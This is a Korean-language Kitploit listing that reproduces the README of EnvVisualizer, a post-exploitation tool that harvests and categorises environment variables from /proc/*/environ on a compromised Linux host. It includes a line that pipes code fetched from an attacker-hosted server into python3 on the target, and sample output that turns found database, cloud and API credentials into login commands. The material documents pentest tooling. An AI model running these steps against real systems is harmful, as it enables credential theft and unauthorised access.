Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EnvVisualizer — 손상된 Linux 박스에서 /proc/self/environ을 파싱하고 시각화합니다 — 환경 변수를 기술 스택(AWS, Django, Rails, NodeJS, MySQL, K8s, Docker 등…)별로 분류하고, 심각도 등급이 매겨진 인사이트를 즉시 실행 가능한 명령어와 함께 생성합니다 | Kitploit
도구/GitHubGitHub/w4r10ck423/envvisualizer
Defensive ToolsVulnerability AnalysisConfiguration AuditingInformation GatheringPost-ExploitationCTFPenetration TestingCloud SecuritySecret DetectionRed Teaming
GitHubw4r10ck423/envvisualizer
444개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

EnvVisualizer

손상된 Linux 박스에서 /proc/self/environ을 파싱하고 시각화합니다 — 환경 변수를 기술 스택(AWS, Django, Rails, NodeJS, MySQL, K8s, Docker 등…)별로 분류하고, 심각도 등급이 매겨진 인사이트를 즉시 실행 가능한 명령어와 함께 생성합니다

저장소 보기

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

침해된 Linux 머신에서 /proc/self/environ을 파싱, 분류, 시각화합니다.
뒤섞인 환경 변수 텍스트 덩어리를 구조화된 색상 코드 인텔로 — 단 몇 초 만에 변환합니다.


Python Platform License Context Author

작성자: @W4r10ck423


문제점

박스에 침투한 후 /proc/self/environ을 읽으면 다음과 같은 결과가 나옵니다:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer는 이를 다음과 같이 변환합니다:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

rich가 설치되어 있으면 각 카테고리가 자체 색상 코드 테이블로 표시됩니다.


기능

  • 세 가지 입력 모드 — 파일을 직접 읽거나(완벽한 정확도), stdin으로 파이프하거나, 원시 문자열을 붙여넣기
  • 스마트 2-클래스 파서 — 복사-붙여넣기로 null 바이트가 제거된 연결 문자열을 올바르게 처리하며, 대문자 POSIX 변수와 알려진 소문자 접두사 변수(npm_*, node_*, pip_* 등)를 감지
  • 6가지 의미 카테고리 — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, Other
  • PATH 확장 — 콜론으로 구분된 덩어리 대신 각 디렉터리를 글머리 기호로 나열
  • 시크릿 탐지 — 이름이나 값이 자격 증명 패턴(TOKEN, KEY, SECRET, PASSWORD 등)과 일치하는 변수를 ⚠ 경고와 함께 표시
  • Pentest Insights 패널 — 실행 가능한 발견 사항을 자동으로 표시: root 컨텍스트, sudo 권한 상승, 노출된 Node.js 디버거 포트, 활성 라이프사이클 스크립트
  • Rich 또는 일반 — rich가 설치되어 있으면 색상 코드 테이블, 없으면 깔끔한 일반 텍스트 출력(의존성 제로)

설치

옵션 1 — 클론 후 실행 (펜테스트 환경에 권장)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

옵션 2 — 시스템 명령으로 설치

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

옵션 3 — 단일 파일 드롭 (git 불필요)

envvisualizer.py를 대상 또는 공격자 머신에 복사하세요. 의존성 없이 실행됩니다:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

요구 사항

DependencyVersionRequired
Python≥ 3.8Yes
rich≥ 13.0No (plain-text fallback)

사용법

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

입력 모드

팁: 파일 접근이 가능할 때는 항상 -f를 사용하세요.
실제 파일의 null 바이트 구분자는 정확하므로 휴리스틱이 필요하지 않습니다.


예제

proc에서 직접 읽기 (최고 정확도)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

stdin으로 파이프

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

원시 문자열 붙여넣기 (웹 셸 / RCE 출력에서 복사-붙여넣기)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

일반 텍스트 출력 (rich 의존성 없음)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

출력 카테고리

변수는 12개 카테고리로 그룹화되며, 우선순위 순서로 평가됩니다(첫 번째 일치가 적용).


Pentest Insights

Pentest Insights 패널은 네 가지 심각도 수준으로 스택을 인식한 표적 탐지를 실행합니다.
실제 환경에서 발견된 값으로부터 실행 가능한 명령이 즉석에서 생성됩니다.

기술 스택별 탐지

예제 출력 (멀티 스택 시나리오)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

문자열 파서 작동 방식

/proc/self/environ을 복사-붙여넣기하면(예: 웹 셸 또는 curl 출력에서), null 바이트가 제거되어 인접한 변수들이 융합됩니다:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

순진한 WORD= 분할은 devnpm_config_user_agent를 키로 생성할 것입니다.

EnvVisualizer는 2-클래스 경계 탐지기를 사용하여 다음에서만 분할합니다:

  1. 대문자 우세 키 — USER, HOME, JOURNAL_STREAM 등
  2. 알려진 소문자 접두사 — npm_*, node_*, pip_*, java_*, python_*, ruby_* 등

정규식이 융합된 토큰 내에서 npm_config_user_agent를 찾기 때문에, 이전 값은 자동으로 dev로 잘립니다. 룩비하인드도, 단어 경계 가정도 필요 없습니다 — 키 패턴 자체가 앵커 역할을 합니다.


라이선스

MIT — 자유롭게 사용하세요, 출처 표기는 감사히 받겠습니다.

도구 다운로드
MethodCommandAccuracy
Direct file readpython3 envvisualizer.py -f /proc/self/environ✅ Perfect (null-byte split)
Stdin pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfect (null-byte split)
Pasted stringpython3 envvisualizer.py -r 'USER=dev...'✅ Good (two-class heuristic)
No args (demo)python3 envvisualizer.py✅ Perfect (own process)
CategoryTypical Variables
🔐 Security / AuthSSH_*, SUDO_*, anything matching TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT
👤 IdentityUSER, LOGNAME, HOME, SHELL, UID, GID
🗄 DatabasePG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_*
☁ Cloud / InfrastructureAWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_*
🔌 Third-party APIsSTRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_*
🕸 Web FrameworksDJANGO_*, FLASK_*, RAILS_*, SPRING_*, ASPNETCORE_*, APP_KEY/ENV/DEBUG, SECRET_KEY_BASE, MIX_ENV, NEXT_*, VITE_*, REACT_APP_*
🐍 App RuntimesPYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_*
📦 NPM / Nodenpm_*, NODE, NODE_ENV, NODE_OPTIONS
📂 Paths & DirsPATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD
🌐 Network / Proxy*_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR
⚙ SystemLANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_*
OtherEverything else, sorted alphabetically
SeverityPrefixMeaning
💀 CRITICAL[!!!]Live credential, secret key, or master key — immediate impact
⚠ HIGH[!! ]Token, debug mode, or exposed service — actionable attack path
→ MEDIUM[! ]Interesting info that may assist escalation
▶ INFO[ * ]General context about the process and environment
StackWhat's detected
PostgreSQLPGPASSWORD → auto-builds psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → auto-builds mysql command
MongoDBMONGO_INITDB_ROOT_* → auto-builds mongosh command
RedisREDIS_PASSWORD → auto-builds redis-cli -a command
DB URLsDATABASE_URL, MONGODB_URI, etc. → flags embedded credentials
AWSKey pair → flags as long-term or STS temporary, suggests aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → suggests gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → flags tenant ID + suggests az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → suggests vault token lookup
KubernetesInjected KUBERNETES_SERVICE_HOST → flags pod context, suggests SA token read
DockerDOCKER_HOST set → flags daemon exposure
GitHub / GitLabTokens → suggests API validation curl commands
HerokuHEROKU_API_KEY → flags with app name
StripeLive sk_live_* → CRITICAL; test sk_test_* → MEDIUM
DatadogDD_API_KEY → flags metrics/logs/traces access
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → flags workspace access
OpenAIOPENAI_API_KEY → flags billing exposure
DjangoDJANGO_DEBUG=True → flags stack trace exposure
FlaskFLASK_DEBUG=1 → flags Werkzeug interactive debugger (PIN bypass / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → flags cookie forgery path
RailsRAILS_MASTER_KEY → CRITICAL (decrypts credentials.yml.enc); SECRET_KEY_BASE → session cookie forgery
JVMJAVA_TOOL_OPTIONS with jdwp → flags remote debug port, suggests jdb -attach
TomcatCATALINA_HOME → flags path to tomcat-users.xml
Node.js--inspect / --inspect-brk → flags debugger, suggests chrome://inspect
KerberosKRB5CCNAME → flags ticket cache, suggests klist / Impacket
SudoSUDO_USER → shows original UID/GID before escalation